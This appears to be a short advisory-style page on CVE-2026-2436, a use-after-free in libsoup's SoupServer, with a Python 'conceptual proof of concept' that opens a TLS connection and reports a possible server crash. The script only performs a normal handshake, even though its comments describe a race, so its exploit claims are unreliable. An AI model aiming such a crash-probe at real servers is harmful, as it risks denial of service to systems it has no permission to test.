CVE-2026-2436 libsoup释放后重用漏洞

import socket import ssl import time # Conceptual Proof of Concept for CVE-2026-2436 # This script attempts to trigger the race condition in libsoup SoupServer # by initiating a TLS connection and manipulating the handshake timing. def exploit_poc(target_ip, target_port): print(f"[*] Targeting {target_ip}:{target_port}") # Create a standard TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: # Establish TCP connection sock.connect((target_ip, target_port)) print("[+] TCP Connection established") # Wrap socket with SSL/TLS context # We use do_handshake_on_connect=False to control the timing manually context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE secure_sock = context.wrap_socket(sock, do_handshake_on_connect=False) # Simulate the race condition: # The server might process a disconnect or timeout while the handshake is pending, # causing soup_server_disconnect() to free the connection object. # If the handshake completes afterwards, the UAF is triggered. print("[*] Initiating TLS handshake (simulated race)...") try: secure_sock.do_handshake() except ssl.SSLError as e: print(f"[!] Handshake error (expected in some race scenarios): {e}") except Exception as e: print(f"[!] Connection error (Server may have crashed): {e}") return True print("[!] Handshake completed. Server might not be vulnerable or timing was off.") return False except Exception as e: print(f"[-] Exploit failed: {e}") return False finally: sock.close() if __name__ == "__main__": # Replace with actual target details exploit_poc("127.0.0.1", 443)